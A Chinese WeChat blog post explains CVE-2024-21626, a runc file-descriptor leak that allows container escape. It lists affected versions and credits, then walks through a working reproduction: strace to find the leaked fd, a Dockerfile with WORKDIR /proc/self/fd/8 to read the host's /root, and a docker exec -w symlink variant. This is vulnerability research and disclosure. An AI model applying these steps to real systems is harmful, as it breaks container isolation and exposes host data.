关注本公众号,长期推送技术文章!
漏洞说明
Snyk发现runc的所有版本(<=1.1.11)存在漏洞,该漏洞被Docker引擎等容器化技术使用,包括Kubernetes。利用此问题可能导致容器通过执行恶意镜像或使用恶意的Dockerfile或上游镜像构建镜像而逃逸到基础主机操作系统。
此问题已被分配CVE-2024-21626。
影响版本
根据 Runc 公告:
https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv
影响版本: >=v1.0.0-rc93,<=1.1.11 修复版本: 1.1.12
Credits
Thanks to Rory McNamara from Snyk for discovering and disclosing the original vulnerability (attack 1) to Docker, @lifubang from acmcoder for discovering how to adapt the attack to overwrite host binaries (attack 3a), and Aleksa Sarai from SUSE for discovering how to adapt the attacks to work as container breakouts using runc exec
(attacks 2 and 3b).
漏洞发现者来自 Snyk 的 Rory McNamara ,lifubang和Aleksa Sarai 则对漏洞的攻击方式进行了改进
漏洞原因
在 runc 1.1.11 及更早版本中,由于内部文件描述符泄漏,攻击者可以通过 runc exec 产生的新的容器进程,在主机文件系统命名空间中拥有一个工作目录,从而允许攻击者访问主机文件系统,导致容器逃逸("attack 2")。
关键commit:
https://github.com/opencontainers/runc/commit/b6633f48a8c970433737b9be5bfe4f25d58a5aa7
关于我的理解:
问题的核心出在于 runc init的工作流程中通过
unix.Openat2
打开来自宿主机的文件描述符且没有关闭,导致后续恶意的容器可以通过runc exec || ruc run
命令将容器的工作目录链接到对应的文件描述符进程从而导致容器逃逸。更多细节可查阅
run init 的过程
攻击利用
Linux 内核很关键: uname -a
Linux kernel 版本的问题导致复现不了, 因为 5.6 之前的 Linux kernel 是不支持 openat2 这个 syscall 的
当前环境: sudo docker version
攻击的前提:
1.你能自定义工作目录
2.你能知道 -cwd
工作目录指向的位置
3.你能知道宿主机泄漏的文件描述符的指向即fd的数值
假如你能自定义工作目录,说明你拥有创建容器的权限或者能构建相关镜像
# 437 对应的的是 openat2 syscall函数
strace -ff -y -e trace=437 -p $(pidof /usr/bin/containerd)
开两个终端,一边执行上面的strace
然后一边新建一个容器
docker
run --rm -it hello-world
经过测试不同的容器构建返回的fd不一样的,比如下面恶意镜像通过run
时获取的是8
这里可以看到返回值是8说明对应的fd是8,所以我们很容易构造出一个复现的恶意容器
FROM ubuntu:22.04
RUN ls -al ./
WORKDIR /proc/self/fd/8
build 镜像
docker build -t cve-2024-21626 .
然后新建一个容器
docker run --rm -it cve-2024-21626 bash
出现这个提示说明已经逃逸成功,当前的工作目录其实位于/sys/fs/cgroup
执行ls -al ../../../root
你会发现你已经逃逸出来,从容器里面获取到宿主机的/root
目录了
还有一种攻击方式是:
攻击者位于容器内的情况
FROM ubuntu:22.04
RUN ls -al ./
WORKDIR /root/cve-2024-21626/
test
构建一个正常的镜像
docker build -t cve-2024-21626-test .
然后我们正常后台启用一个容器
docker run --detach --interactive --tty cve-2024-21626-test
捕获到fd为7
进入到这个容器
docker exec -it 68bf09219f2c bash
ln -s /proc/self/fd/7 /root/cve-2024-21626/
test
然后再去执行docker exec
命令是无法实现逃逸的, 至于原因,我猜测这个过程的文件描述符并没有泄漏。
但是如果通过 docker exec -w /tmp/hacker
指定 -w
工作目录的话就可以利用 symlink
符号链接泄漏的文件描述符到工作目录实现容器逃逸。
ln -s /proc/self/fd/7 /tmp/
test
docker
exec
-w /tmp/
test
-it 68bf09219f2c /bin/bash
参考链接
https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/
https://bestwing.me/CVE-2024-21626-container-escape.html
https://imkira.com/runc/
https://imliuda.com/post/1305
原文始发于微信公众号(一个不正经的黑客):【惊现】CVE-2024-21626 Docker容器逃逸漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论